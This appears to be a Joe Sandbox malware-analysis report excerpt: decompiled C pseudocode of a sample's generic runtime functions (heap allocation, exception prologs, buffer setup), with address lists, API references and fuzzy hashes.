0x013a82e2
0x013a82e2
0x013a82e8
0x013a82f1
0x013a82f6
0x013a82fb
0x013a82fc
0x013a82fd
0x013a8305
0x013a8308
0x013a830f
0x013a830f
0x013a830a
0x013a830a
0x013a830d
0x00000000
0x00000000
0x013a830d
0x013a8316
0x013a8319
0x013a8320
0x013a8322
0x013a8330
0x013a8330
0x013a8337
0x013a8337
0x013a833c
0x013a8342
0x013a8347
0x013a8347
0x013a834d
0x013a8352
0x013a8357
0x013a8360
0x013a8365
0x013a8365
0x013a8347
0x013a8241
0x013a8248
0x013a8248
0x013a823f
0x013a8369
0x013a836f
0x013a837a
0x013a8384

APIs

__EH_prolog.LIBCMT ref: 013A81F2

Part of subcall function 013A13AF: __EH_prolog.LIBCMT ref: 013A13B4
Part of subcall function 013A13AF: new.LIBCMT ref: 013A142C

Part of subcall function 013A19E2: __EH_prolog.LIBCMT ref: 013A19E7

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 81f35e960d1cb17e1dc46831a899fecee34b0db06a9c326373df94f629549efc
Instruction ID: 41065dee967cc5b53f8116ccb2231e01d691f12a1b37e5334055467bdf44c653
Opcode Fuzzy Hash: 81f35e960d1cb17e1dc46831a899fecee34b0db06a9c326373df94f629549efc
Instruction Fuzzy Hash: 6441F6718006589EDB34EB68CC50BFA77BDEF60308F8400EAD54AA3092DB745BC8DB50

Uniqueness

Uniqueness Score: -1.00%

Function 013B21E5 Relevance: 1.6, APIs: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E013B21E5(void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				void* _t29;
				signed int _t30;
				signed int* _t36;
				signed int _t38;
				intOrPtr _t39;
				intOrPtr _t42;
				signed int _t44;
				void* _t47;
				void* _t48;
				void* _t56;
				void* _t60;
				signed int _t65;
				void* _t67;
				void* _t69;
				void* _t73;

				_t56 = __edx;
				_t48 = __ecx;
				_t29 = E013BCDF0(E013CF767, _t67);
				_push(_t48);
				_push(_t48);
				_t60 = _t48;
				_t44 = 0;
				_t72 =  *((intOrPtr*)(_t60 + 0x20));
				if( *((intOrPtr*)(_t60 + 0x20)) == 0) {
					_push(0x400400); // executed
					_t42 = E013BD082(_t48, _t56, 0x400400, _t72); // executed
					 *((intOrPtr*)(_t60 + 0x20)) = _t42;
					_t29 = E013BDE40(_t60, _t42, 0, 0x400400);
					_t69 = _t69 + 0x10;
				}
				_t73 =  *(_t60 + 0x18) - _t44;
				if(_t73 == 0) {
					_t65 =  *((intOrPtr*)(_t60 + 0x1c)) +  *((intOrPtr*)(_t60 + 0x1c));
					_t30 = _t65;
					 *(_t67 - 0x10) = _t65;
					_t58 = _t30 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t73 > 0x00000000) | ( ~(_t73 > 0) | _t30 * 0x00004ae4) + 0x00000004); // executed
					_t36 = E013BD082(( ~(_t73 > 0) | _t30 * 0x00004ae4) + 4, _t30 * 0x4ae4 >> 0x20, _t65, _t73); // executed
					_pop(0x13dcbe8);
					 *(_t67 - 0x14) = _t36;
					 *(_t67 - 4) = _t44;
					_t74 = _t36;
					if(_t36 != 0) {
						_push(E013B0EDD);
						_push(E013B0D0A);
						_push(_t65);
						_t16 =  &(_t36[1]); // 0x4
						_t44 = _t16;
						 *_t36 = _t65;
						_push(0x4ae4);
						_push(_t44);
						E013BCEED(_t58, _t74);
					}
					 *(_t67 - 4) =  *(_t67 - 4) | 0xffffffff;
					 *(_t60 + 0x18) = _t44;
					_t29 = E013BDE40(_t60, _t44, 0, _t65 * 0x4ae4);
					if(_t65 != 0) {
						_t38 = 0;
						 *(_t67 - 0x10) = 0;
						do {
							_t47 =  *(_t60 + 0x18) + _t38;
							if( *((intOrPtr*)(_t47 + 0x4ad4)) == 0) {
								 *((intOrPtr*)(_t47 + 0x4adc)) = 0x4100;
								_t39 = E013C20C3(0x13dcbe8); // executed
								 *((intOrPtr*)(_t47 + 0x4ad4)) = _t39;
								0x13dcbe8 = 0x30c00;
								if(_t39 == 0) {
									E013A6DC7(0x13dcbe8);
								}
								_t38 =  *(_t67 - 0x10);
							}
							_t38 = _t38 + 0x4ae4;
							 *(_t67 - 0x10) = _t38;
							_t65 = _t65 - 1;
						} while (_t65 != 0);
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t67 - 0xc));
				return _t29;
			}

0x013b21e5
0x013b21e5
0x013b21ea
0x013b21ef
0x013b21f0
0x013b21f4
0x013b21f6
0x013b21f8
0x013b21fb
0x013b2202
0x013b2203
0x013b220b
0x013b220e
0x013b2213
0x013b2213
0x013b2216
0x013b2219
0x013b2224
0x013b222b
0x013b222d
0x013b2230
0x013b2245
0x013b2246
0x013b224b
0x013b224c
0x013b224f
0x013b2252
0x013b2254
0x013b2256
0x013b225b
0x013b2260
0x013b2261
0x013b2261
0x013b2264
0x013b2266
0x013b226b
0x013b226c
0x013b226c
0x013b2271
0x013b227b
0x013b2282
0x013b228c
0x013b228e
0x013b2290
0x013b2293
0x013b2296
0x013b229f
0x013b22a6
0x013b22b0
0x013b22b5
0x013b22bb
0x013b22be
0x013b22c5
0x013b22c5
0x013b22ca
0x013b22ca
0x013b22cd
0x013b22d2
0x013b22d5
0x013b22d5
0x013b2293
0x013b228c
0x013b22e0
0x013b22ea

APIs

__EH_prolog.LIBCMT ref: 013B21EA

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7ccac0e44bd032bd69f4c91ac9d4f41bb56d14041753499ba9159bcd179b5ded
Instruction ID: 05fde24d3d13a09838adbee7fed0bf69d8c91c3f6f44fb3aac601f781a49ba7f
Opcode Fuzzy Hash: 7ccac0e44bd032bd69f4c91ac9d4f41bb56d14041753499ba9159bcd179b5ded
Instruction Fuzzy Hash: A921DBB1E402165BDB14DFBDCC81AEB7668FB1825CF00463ED609EBA81F774A900C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 013B9484 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E013B9484(void* __ecx, void* __edx, void* __eflags) {
				void* __edi;
				void* __esi;
				short _t33;
				char _t36;
				void* _t47;
				short _t55;
				void* _t57;
				void* _t58;
				short _t60;
				void* _t62;
				intOrPtr _t64;
				void* _t67;

				_t67 = __eflags;
				_t57 = __edx;
				_t47 = __ecx;
				E013BCDF0(E013CF7A8, _t62);
				_push(_t47);
				E013BCEC0();
				_push(_t60);
				_push(_t58);
				 *((intOrPtr*)(_t62 - 0x10)) = _t64;
				 *((intOrPtr*)(_t62 - 4)) = 0;
				E013A13AF(_t62 - 0x7d24, _t57, _t58, _t67, 0); // executed
				 *((char*)(_t62 - 4)) = 1;
				E013A1F0E(_t62 - 0x7d24, _t57, _t62, _t67,  *((intOrPtr*)(_t62 + 0xc)));
				if( *((intOrPtr*)(_t62 - 0x105f)) == 0) {
					 *((intOrPtr*)(_t62 - 0x24)) = 0;
					 *((intOrPtr*)(_t62 - 0x20)) = 0;
					 *((intOrPtr*)(_t62 - 0x1c)) = 0;
					 *((intOrPtr*)(_t62 - 0x18)) = 0;
					 *((char*)(_t62 - 0x14)) = 0;
					 *((char*)(_t62 - 4)) = 2;
					_push(_t62 - 0x24);
					_t50 = _t62 - 0x7d24;
					_t33 = E013A1927(_t62 - 0x7d24, _t57, _t60); // executed
					__eflags = _t33;
					if(_t33 != 0) {
						_t60 =  *((intOrPtr*)(_t62 - 0x20));
						_t58 = _t60 + _t60;
						_push(_t58 + 2);
						_t55 = E013C20C3(_t50);
						 *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x10)))) = _t55;
						__eflags = _t55;
						if(_t55 != 0) {
							__eflags = 0;
							 *((short*)(_t58 + _t55)) = 0;
							E013BDFA0(_t55,  *((intOrPtr*)(_t62 - 0x24)), _t58);
						} else {
							_t60 = 0;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x14)))) = _t60;
					}
					E013A1615(_t62 - 0x24);
					E013A165F(_t62 - 0x7d24, _t58, _t60); // executed
					_t36 = 1;
				} else {
					E013A165F(_t62 - 0x7d24, _t58, _t60);
					_t36 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t62 - 0xc));
				return _t36;
			}

0x013b9484
0x013b9484
0x013b9484
0x013b9489
0x013b948e
0x013b9494
0x013b949a
0x013b949b
0x013b949e
0x013b94a8
0x013b94ab
0x013b94b9
0x013b94bd
0x013b94c8
0x013b94d9
0x013b94dc
0x013b94df
0x013b94e2
0x013b94e5
0x013b94eb
0x013b94ef
0x013b94f0
0x013b94f6
0x013b94fb
0x013b94fd
0x013b94ff
0x013b9502
0x013b9508
0x013b950f
0x013b9514
0x013b9516
0x013b9518
0x013b951e
0x013b9521
0x013b9529
0x013b951a
0x013b951a
0x013b951a
0x013b9534
0x013b9534
0x013b9539
0x013b9544
0x013b9549
0x013b94ca
0x013b94d0
0x013b94d5
0x013b94d5
0x013b9550
0x013b955b

APIs

__EH_prolog.LIBCMT ref: 013B9489

Part of subcall function 013A13AF: __EH_prolog.LIBCMT ref: 013A13B4
Part of subcall function 013A13AF: new.LIBCMT ref: 013A142C

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 16cb5a9e61f36828ec53ff37e2304df457ce108c4ba14c54fdd2ad0b0625dbbd
Instruction ID: 53cf0a867c3b49cfe4fee0253411eaab542a3c92672300f01ea93f76e5f75feb
Opcode Fuzzy Hash: 16cb5a9e61f36828ec53ff37e2304df457ce108c4ba14c54fdd2ad0b0625dbbd
Instruction Fuzzy Hash: 7E217CB1C0425ADBCF14DF98D9809EEBBB8FF29218F4000AED909B7601E7356E05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013A9120 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E013A9120(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				void* _t21;
				intOrPtr _t22;
				intOrPtr _t27;
				void* _t35;
				intOrPtr _t37;
				intOrPtr _t40;
				void* _t42;
				void* _t49;

				_t35 = __edx;
				E013BCDF0(E013CF517, _t42);
				E013A138D(_t42 - 0x20, E013A7C6B());
				_push( *((intOrPtr*)(_t42 - 0x1c)));
				_push( *((intOrPtr*)(_t42 - 0x20)));
				 *(_t42 - 4) =  *(_t42 - 4) & 0x00000000;
				_t40 = E013AC6A8();
				if(_t40 > 0) {
					_t27 =  *((intOrPtr*)(_t42 + 0x10));
					_t37 =  *((intOrPtr*)(_t42 + 0xc));
					do {
						_t22 = _t40;
						asm("cdq");
						_t49 = _t35 - _t27;
						if(_t49 > 0 || _t49 >= 0 && _t22 >= _t37) {
							_t40 = _t37;
						}
						if(_t40 > 0) {
							E013AC860( *((intOrPtr*)(_t42 + 8)), _t35, _t42,  *((intOrPtr*)(_t42 - 0x20)), _t40);
							asm("cdq");
							_t37 = _t37 - _t40;
							asm("sbb ebx, edx");
						}
						_push( *((intOrPtr*)(_t42 - 0x1c)));
						_push( *((intOrPtr*)(_t42 - 0x20)));
						_t40 = E013AC6A8();
					} while (_t40 > 0);
				}
				_t21 = E013A15CE(_t42 - 0x20); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t42 - 0xc));
				return _t21;
			}

0x013a9120
0x013a9125
0x013a9137
0x013a913c
0x013a9142
0x013a9145
0x013a914e
0x013a9152
0x013a9155
0x013a9159
0x013a915c
0x013a915c
0x013a915e
0x013a915f
0x013a9161
0x013a9169
0x013a9169
0x013a916d
0x013a9176
0x013a917d
0x013a917e
0x013a9180
0x013a9180
0x013a9182
0x013a9188
0x013a9190
0x013a9192
0x013a9197
0x013a919b
0x013a91a4
0x013a91ae

APIs

__EH_prolog.LIBCMT ref: 013A9125

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 606e8ec6a70dddb2ad935cc023488eda1bb1f0d4701bef7574e74c9f4f98aee3
Instruction ID: f0da0cdf87b87ccd48dbfe68d4ff32c9ad0845e383534e83e4786777de88815e
Opcode Fuzzy Hash: 606e8ec6a70dddb2ad935cc023488eda1bb1f0d4701bef7574e74c9f4f98aee3
Instruction Fuzzy Hash: 7111C873E005299BCF22AF5CCC94ADEBB7AFF68658F444519ED0577210DA39AD1087E0

Uniqueness

Uniqueness Score: -1.00%

Function 013BBC77 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E013BBC77(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				intOrPtr _t18;
				void* _t23;
				void* _t24;
				void* _t26;
				void* _t37;
				void* _t43;
				intOrPtr _t45;

				_t37 = __edx;
				_t26 = __ecx;
				E013BCDF0(E013CF7E7, _t43);
				_push(_t26);
				E013BCEC0();
				_push(_t24);
				 *((intOrPtr*)(_t43 - 0x10)) = _t45;
				E013C3557(0x13ee51a, "X");
				E013AF1B7(0x13f053c, _t37, 0x13d02e0);
				E013C3557(0x13ef53a,  *((intOrPtr*)(_t43 + 0xc)));
				E013A5B87(0x13e6230, _t37,  *((intOrPtr*)(_t43 + 0xc)));
				_t4 = _t43 - 4;
				 *(_t43 - 4) =  *(_t43 - 4) & 0x00000000;
				_t18 = 4;
				 *0x13ed500 = _t18;
				 *0x13ed4fc = _t18;
				 *0x13ed4f8 = _t18;
				 *0x13ec383 =  *0x13e20fc;
				 *0x13ec3bc = 1;
				 *0x13ec3bf = 1;
				 *0x13ec384 =  *0x13e20fd;
				E013A7B10(_t43 - 0x2108,  *_t4, 0x13e6230);
				 *(_t43 - 4) = 1;
				E013A7C84(_t43 - 0x2108, _t37,  *_t4);
				_t23 = E013A7BA0(_t24, _t43 - 0x2108, _t37); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t43 - 0xc));
				return _t23;
			}

0x013bbc77
0x013bbc77
0x013bbc7c
0x013bbc81
0x013bbc87
0x013bbc8c
0x013bbc8f
0x013bbc9c
0x013bbcad
0x013bbcba
0x013bbccb
0x013bbcd0
0x013bbcd0
0x013bbcdc
0x013bbcdd
0x013bbce2
0x013bbce7
0x013bbcf1
0x013bbcfc
0x013bbd03
0x013bbd0a
0x013bbd0f
0x013bbd1a
0x013bbd1e
0x013bbd29
0x013bbd33
0x013bbd3e

APIs

__EH_prolog.LIBCMT ref: 013BBC7C

Part of subcall function 013A7B10: __EH_prolog.LIBCMT ref: 013A7B15
Part of subcall function 013A7B10: new.LIBCMT ref: 013A7B56

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b053a087ff7dc2f9181c4c90357038003ef88106edf3b70525f618ee94a689bb
Instruction ID: 93b17c759d7ec0928dc2bc49baf8fef133753b4e11fd2722321040f3cbaf08ec
Opcode Fuzzy Hash: b053a087ff7dc2f9181c4c90357038003ef88106edf3b70525f618ee94a689bb
Instruction Fuzzy Hash: D6110176948341DED730EBACA844BDD7FE8EB34318F00408EE5549A2C1EBB12A44CB21

Uniqueness

Uniqueness Score: -1.00%

Function 013C8ED5 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E013C8ED5(void* __edx, void* __esi, void* __eflags) {
				intOrPtr _v12;
				void* __ecx;
				char _t16;
				void* _t17;
				void* _t26;
				void* _t28;
				void* _t31;
				char _t32;
				void* _t34;
				intOrPtr* _t36;

				_push(_t26);
				_push(_t26);
				_t16 = E013C5A7D(_t26, 0x40, 0x30); // executed
				_t32 = _t16;
				_v12 = _t32;
				_t28 = _t31;
				if(_t32 != 0) {
					_t2 = _t32 + 0xc00; // 0xc00
					_t17 = _t2;
					__eflags = _t32 - _t17;
					if(__eflags != 0) {
						_t3 = _t32 + 0x20; // 0x20
						_t36 = _t3;
						_t34 = _t17;
						do {
							_t4 = _t36 - 0x20; // 0x0
							E013C7998(_t28, _t36, __eflags, _t4, 0xfa0, 0);
							 *(_t36 - 8) =  *(_t36 - 8) | 0xffffffff;
							 *_t36 = 0;
							_t36 = _t36 + 0x30;
							 *((intOrPtr*)(_t36 - 0x2c)) = 0;
							 *((intOrPtr*)(_t36 - 0x28)) = 0xa0a0000;
							 *((char*)(_t36 - 0x24)) = 0xa;
							 *(_t36 - 0x23) =  *(_t36 - 0x23) & 0x000000f8;
							 *((char*)(_t36 - 0x22)) = 0;
							__eflags = _t36 - 0x20 - _t34;
						} while (__eflags != 0);
						_t32 = _v12;
					}
				} else {
					_t32 = 0;
				}
				E013C59B2(0);
				return _t32;
			}

0x013c8eda
0x013c8edb
0x013c8ee2
0x013c8ee7
0x013c8eeb
0x013c8eef
0x013c8ef2
0x013c8ef8
0x013c8ef8
0x013c8efe
0x013c8f00
0x013c8f03
0x013c8f03
0x013c8f06
0x013c8f08
0x013c8f0e
0x013c8f12
0x013c8f17
0x013c8f1b
0x013c8f1d
0x013c8f20
0x013c8f26
0x013c8f2d
0x013c8f31
0x013c8f35
0x013c8f38
0x013c8f38
0x013c8f3c
0x013c8f3f
0x013c8ef4
0x013c8ef4
0x013c8ef4
0x013c8f41
0x013c8f4e

APIs

Part of subcall function 013C5A7D: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,013C633C,00000001,00000364,?,013C2203,?,?,013DCBE8), ref: 013C5ABE

_free.LIBCMT ref: 013C8F41

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: e032975ebbae66d82fc58406085c7988e182e8e093097f4fa6ffad3816001ba0
Instruction ID: 942a327329cef17d7b742e5436d3b09fa4b9ed12673f5d0712bc039d1f6f1682
Opcode Fuzzy Hash: e032975ebbae66d82fc58406085c7988e182e8e093097f4fa6ffad3816001ba0
Instruction Fuzzy Hash: 380126722043066BE3318E6D9C8095AFBEDEBC5274F25055DE69493280EA30AD058734

Uniqueness

Uniqueness Score: -1.00%

Function 013AA6F9 Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E013AA6F9(intOrPtr* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* __esi;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t15;
				intOrPtr _t16;
				intOrPtr* _t22;

				_push(__ecx);
				_t22 = __ecx;
				_t24 =  *((intOrPtr*)(__ecx + 8));
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					_t15 = E013BCDAC(__edx, __ecx, _t24, 0xb54); // executed
					_v8 = _t15;
					_t25 = _t15;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E013AA59F(_t15, _t25);
					}
					 *((intOrPtr*)(_t22 + 8)) = _t16;
				}
				_t12 = _a4;
				 *_t22 = _t12;
				if(_t12 == 1) {
					 *(_t22 + 4) =  *(_t22 + 4) & 0x00000000;
				}
				if(_t12 == 2) {
					 *(_t22 + 4) =  *(_t22 + 4) | 0xffffffff;
				}
				if(_t12 == 3) {
					E013A58E0( *((intOrPtr*)(_t22 + 8)));
				}
				_t13 = _a8;
				if(_t13 >= 8) {
					_t13 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x10)) = _t13;
				return _t13;
			}

0x013aa6fc
0x013aa6fe
0x013aa700
0x013aa704
0x013aa70b
0x013aa710
0x013aa714
0x013aa716
0x013aa721
0x013aa721
0x013aa718
0x013aa71a
0x013aa71a
0x013aa723
0x013aa723
0x013aa726
0x013aa729
0x013aa72e
0x013aa730
0x013aa730
0x013aa737
0x013aa739
0x013aa739
0x013aa740
0x013aa745
0x013aa745
0x013aa74a
0x013aa750
0x013aa754
0x013aa754
0x013aa755
0x013aa75c

APIs

new.LIBCMT ref: 013AA70B

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e95ee28532b51306dce8df1ac8ba5749f961c6c7f7d8ca424c4966959d876736
Instruction ID: 40af65c1cd9b636df3155624a30052e3ddb739d9d7792e846058faf5e9b3f0ee
Opcode Fuzzy Hash: e95ee28532b51306dce8df1ac8ba5749f961c6c7f7d8ca424c4966959d876736
Instruction Fuzzy Hash: 89F08C329107069EDB749EA8C884617BBF8EB15268FA0891ED596C7590EB72D884C750

Uniqueness

Uniqueness Score: -1.00%

Function 013C5A7D Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E013C5A7D(void* __ecx, signed int _a4, signed int _a8) {
				void* __esi;
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t16;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x13fb394, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E013C585D();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E013C5E2E())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E013C4689(_t15, _t16, _t19, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				_t16 = _t13 % _t18;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x013c5a7d
0x013c5a83
0x013c5a88
0x013c5a96
0x013c5a96
0x013c5a9c
0x013c5a9e
0x013c5a9e
0x013c5ab5
0x013c5abe
0x013c5ac6
0x00000000
0x00000000
0x013c5aa6
0x013c5aa8
0x013c5aca
0x013c5acf
0x013c5ad5
0x00000000
0x013c5ad5
0x013c5aab
0x013c5ab0
0x013c5ab1
0x013c5ab3
0x00000000
0x00000000
0x013c5ab3
0x00000000
0x013c5ab5
0x013c5a8e
0x013c5a8f
0x013c5a94
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,013C633C,00000001,00000364,?,013C2203,?,?,013DCBE8), ref: 013C5ABE

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 58cdf777f014ca8804d07d05f523eda65d1fe4d7cae57e50b09cf4b57a7890cb
Instruction ID: ad96f1ba46525460cd9910e8273c655d149750e9c05c2d8bc4eaca222efd3042
Opcode Fuzzy Hash: 58cdf777f014ca8804d07d05f523eda65d1fe4d7cae57e50b09cf4b57a7890cb
Instruction Fuzzy Hash: 84F0B4397013256BFB336A2F9880B6A3B4CEF41FB8F09401DAD1996184DA20FC0087E0

Uniqueness

Uniqueness Score: -1.00%

Function 013C59EC Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E013C59EC(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = _a4;
				if(_t9 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E013C5E2E())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t9 == 0) {
					_t9 = _t9 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x13fb394, 0, _t9); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E013C585D();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E013C4689(_t7, _t8, _t9, __eflags, _t9);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x013c59ec
0x013c59f2
0x013c59f8
0x013c5a2a
0x013c5a2f
0x013c5a35
0x00000000
0x013c5a35
0x013c59fc
0x013c59fe
0x013c59fe
0x013c5a15
0x013c5a1e
0x013c5a26
0x00000000
0x00000000
0x013c5a06
0x013c5a08
0x00000000
0x00000000
0x013c5a0b
0x013c5a10
0x013c5a11
0x013c5a13
0x00000000
0x00000000
0x013c5a13
0x00000000

APIs

